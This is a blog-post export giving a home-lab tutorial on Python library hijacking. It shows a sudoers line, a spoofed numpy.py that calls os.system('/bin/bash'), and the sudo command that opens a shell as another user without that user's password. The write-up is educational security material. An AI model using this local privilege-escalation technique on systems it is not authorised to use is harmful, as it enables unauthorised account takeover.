{"id":129912,"date":"2022-11-20T11:10:59","date_gmt":"2022-11-20T11:10:59","guid":{"rendered":"https:\/\/blog.finxter.com\/?p=908596"},"modified":"2022-11-20T11:10:59","modified_gmt":"2022-11-20T11:10:59","slug":"python-library-hijacking-a-simple-demonstration-on-numpy","status":"publish","type":"post","link":"https:\/\/sickgaming.net\/blog\/2022\/11\/20\/python-library-hijacking-a-simple-demonstration-on-numpy\/","title":{"rendered":"Python Library Hijacking \u2013 A Simple Demonstration on NumPy"},"content":{"rendered":"\n<div class=\"kk-star-ratings kksr-auto kksr-align-left kksr-valign-top\" data-payload='{&quot;align&quot;:&quot;left&quot;,&quot;id&quot;:&quot;908596&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;top&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;1&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;Rate this post&quot;,&quot;legend&quot;:&quot;5\\\/5 - (1 vote)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;{score}\\\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}'>\n<div class=\"kksr-stars\">\n<div class=\"kksr-stars-inactive\">\n<div class=\"kksr-star\" data-star=\"1\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" data-star=\"2\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" data-star=\"3\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" data-star=\"4\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" data-star=\"5\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<\/p><\/div>\n<div class=\"kksr-stars-active\" style=\"width: 142.5px;\">\n<div class=\"kksr-star\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<\/p><\/div>\n<\/div>\n<div class=\"kksr-legend\" style=\"font-size: 19.2px;\"> 5\/5 &#8211; (1 vote) <\/div>\n<\/div>\n<p>In this blog post, I\u2019ll show you how recreated a <strong>Python library hijacking vulnerability <\/strong>on my home network. <\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1021\" height=\"571\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-224.png\" alt=\"\" class=\"wp-image-908642\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-224.png 1021w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-224-300x168.png 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-224-768x430.png 768w\" sizes=\"auto, (max-width: 1021px) 100vw, 1021px\" \/><\/figure>\n<\/div>\n<p>The <a href=\"https:\/\/tryhackme.com\/room\/wonderland\" data-type=\"URL\" data-id=\"https:\/\/tryhackme.com\/room\/wonderland\" target=\"_blank\" rel=\"noreferrer noopener\">Wonderland box on TryHackMe<\/a> was the inspiration for exploring this kind of vulnerability.<\/p>\n<p>In my previous <a href=\"https:\/\/blog.finxter.com\/tryhackme-walkthrough-wonderland\/\" data-type=\"post\" data-id=\"892288\" target=\"_blank\" rel=\"noreferrer noopener\">Wonderland walkthrough blog post<\/a>, I highlighted an example of exploiting the \u2018<code><a href=\"https:\/\/blog.finxter.com\/python-random-module\/\" data-type=\"post\" data-id=\"5030\" target=\"_blank\" rel=\"noreferrer noopener\">random<\/a><\/code>\u2019 module to switch users without knowing their password. <\/p>\n<p>In this post, I\u2019ll guide you through the setup and execution of the exploit. You can also watch the accompanying video tutorial here:<\/p>\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube\"><a href=\"https:\/\/blog.finxter.com\/python-library-hijacking-demonstration\/\"><img decoding=\"async\" src=\"https:\/\/blog.finxter.com\/wp-content\/plugins\/wp-youtube-lyte\/lyteCache.php?origThumbUrl=https%3A%2F%2Fi.ytimg.com%2Fvi%2FvXkGYLfQauk%2Fhqdefault.jpg\" alt=\"YouTube Video\"><\/a><figcaption><\/figcaption><\/figure>\n<h2>What is Python Library Hijacking?<\/h2>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"607\" height=\"911\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-225.png\" alt=\"\" class=\"wp-image-908661\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-225.png 607w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-225-200x300.png 200w\" sizes=\"auto, (max-width: 607px) 100vw, 607px\" \/><\/figure>\n<\/div>\n<p>When a user has permission to run a file as another user it is possible to create a <strong>spoof file<\/strong> that Python will load instead of the originally intended module or library. The necessary conditions for Python library hijacking are:<\/p>\n<ol>\n<li>The user must have sudo permissions to run a Python file <code>.py<\/code> as another user<\/li>\n<li>The Python path must be set to look first in the folder where the spoof file is stored\u00a0<\/li>\n<\/ol>\n<h2>Setup<\/h2>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"608\" height=\"912\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-226.png\" alt=\"\" class=\"wp-image-908664\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-226.png 608w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-226-200x300.png 200w\" sizes=\"auto, (max-width: 608px) 100vw, 608px\" \/><\/figure>\n<\/div>\n<p>In order to re-create this vulnerability, I had to learn how to set up the above conditions for the exploit. <\/p>\n<p>On my home network, I have a <a rel=\"noreferrer noopener\" href=\"https:\/\/blog.finxter.com\/getting-to-know-your-basic-uctronics-raspberry-pi-pico-kit\/\" data-type=\"post\" data-id=\"892909\" target=\"_blank\">Raspberry Pi<\/a> 3b running DietPi operating system. Originally I set this up to run Pi-hole to filter ads out from my home network. <\/p>\n<p>In order to set up the permissions to run a file as another user I edited the sudoers file with <code>visudo<\/code>. <\/p>\n<p><a rel=\"noreferrer noopener\" href=\"https:\/\/www.sudo.ws\/docs\/man\/1.8.13\/visudo.man\/\" data-type=\"URL\" data-id=\"https:\/\/www.sudo.ws\/docs\/man\/1.8.13\/visudo.man\/\" target=\"_blank\">Visudo<\/a> is a special editor specifically for editing the sudoers file. It only allows one user to edit the file at a time, and also checks user edits for correct syntax. I created a file called \u2018<code>checkmypermissions.py<\/code>\u2019 and granted sudo permissions to <code>vulnerableuser<\/code> to run it as user ben.\u00a0<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"238\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-219-1024x238.png\" alt=\"\" class=\"wp-image-908611\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-219-1024x238.png 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-219-300x70.png 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-219-768x178.png 768w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-219.png 1249w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n<p>To do this I used the command \u2018<code>sudo visudo<\/code>\u2019 to edit sudoers file, and then I added the second line for vulnerable user:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"3\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># User privilege specification\nroot ALL=(ALL:ALL) ALL\nvulnerableuser ALL=(ben:1001) \/usr\/bin\/python3 \/home\/vulnerableuser\/checkmypermissions.py<\/pre>\n<p>The nice thing about <code>visudo<\/code> is that it checks your formatting to make sure that there are not any errors, and it will even suggest changes to help you format the permissions correctly. <\/p>\n<p>This functionality helped me save time getting the correct spacing and punctuation on the new sudoers line.<\/p>\n<h2>Running the Exploit<\/h2>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"608\" height=\"912\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-227.png\" alt=\"\" class=\"wp-image-908667\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-227.png 608w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-227-200x300.png 200w\" sizes=\"auto, (max-width: 608px) 100vw, 608px\" \/><\/figure>\n<\/div>\n<p>Once the permissions were set up I ssh\u2019d into <code>vulnerableuser@&lt;raspberry pi IP><\/code>. Running the \u2018<code>sudo -l<\/code>\u2019 command showed me the granular sudo permissions.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"809\" height=\"266\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-220.png\" alt=\"\" class=\"wp-image-908621\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-220.png 809w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-220-300x99.png 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-220-768x253.png 768w\" sizes=\"auto, (max-width: 809px) 100vw, 809px\" \/><\/figure>\n<\/div>\n<p>The line above <code>(ben : 1001) \/usr\/bin\/python3 \/home\/vulnerableuser\/checkmypermissions.py<\/code> shows that as <code>vulnerableuser<\/code> I can execute the <code>checkmypermissions.py<\/code> file <em>as the user Ben<\/em>.\u00a0\u00a0<\/p>\n<p>All that is left to do is to check the Python PATH to make sure that it checks first in the current directory, and then create a python file named <code>numpy.py<\/code> with code to spawn a shell. One way to check the Python PATH is:<\/p>\n<p><strong>Python<\/strong><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import sys\nsys.path<\/pre>\n<p>In the example below, we can see that the python PATH is already set to search in the current working directory (<code>''<\/code>).\u00a0<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"558\" height=\"275\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-221.png\" alt=\"\" class=\"wp-image-908628\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-221.png 558w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-221-300x148.png 300w\" sizes=\"auto, (max-width: 558px) 100vw, 558px\" \/><\/figure>\n<\/div>\n<p>Next we create the <code>numpy.py<\/code> file to spawn a <a href=\"https:\/\/blog.finxter.com\/how-to-execute-python-shell-commands\/\" data-type=\"post\" data-id=\"887777\" target=\"_blank\" rel=\"noreferrer noopener\">shell<\/a>.<\/p>\n<p><code><strong>nano numpy.py<\/strong><\/code><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import os\nos.system(\"\/bin\/bash\")\n<\/pre>\n<p>It is important to first set up execute permissions on the spoofed <code>numpy.py<\/code> file:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">chmod +x numpy.py<\/pre>\n<p>Now we can carry out the python library hijack and spawn a shell as user ben without knowing their password by running the following command:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">sudo -u ben \/usr\/bin\/python3 \/home\/vulnerableuser\/checkmypermissions.py\u00a0\u00a0<\/pre>\n<h2>Project Learnings<\/h2>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"608\" height=\"912\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-228.png\" alt=\"\" class=\"wp-image-908669\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-228.png 608w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/11\/image-228-200x300.png 200w\" sizes=\"auto, (max-width: 608px) 100vw, 608px\" \/><\/figure>\n<\/div>\n<h3>Learning #1<\/h3>\n<p>I learned that <strong>Visudo is a special editor within Linux<\/strong> to change the sudoers file <code>\/etc\/sudoers<\/code>. <\/p>\n<p>It helps check formatting to avoid any errors or crashes from poorly written lines. The sudoers file allows the root user to granularize user permissions with the sudoers file on Linux.<\/p>\n<h3>Learning #2<\/h3>\n<p>Granting run as another user file permissions can expose a machine to library hijacking vulnerabilities. <\/p>\n<p>Running <code>sudo -l<\/code> can help expose special user file permissions when enumerating for attack vectors to execute privilege escalation.<\/p>\n<h3>Learning #3<\/h3>\n<p>I found that it is helpful to compile a custom shortlist of Python and bash commands new to me for each project. I borrowed this strategy from my experience with language learning. <\/p>\n<p>Over the years, I\u2019ve improved my Mandarin by taking notes on new vocabulary words and grammar patterns. When working on a new topic area I would always create my own custom grammar and vocabulary lists for reference. <\/p>\n<p>I\u2019ve found that the simple act of focusing on recording a list helps to cement my learning and creates a nice reference for later use.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>5\/5 &#8211; (1 vote) In this blog post, I\u2019ll show you how recreated a Python library hijacking vulnerability on my home network. The Wonderland box on TryHackMe was the inspiration for exploring this kind of vulnerability. In my previous Wonderland walkthrough blog post, I highlighted an example of exploiting the \u2018random\u2019 module to switch users [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[857],"tags":[73,468,528],"class_list":["post-129912","post","type-post","status-publish","format-standard","hentry","category-python-tut","tag-programming","tag-python","tag-tutorial"],"_links":{"self":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts\/129912","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/comments?post=129912"}],"version-history":[{"count":0,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts\/129912\/revisions"}],"wp:attachment":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/media?parent=129912"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/categories?post=129912"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/tags?post=129912"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}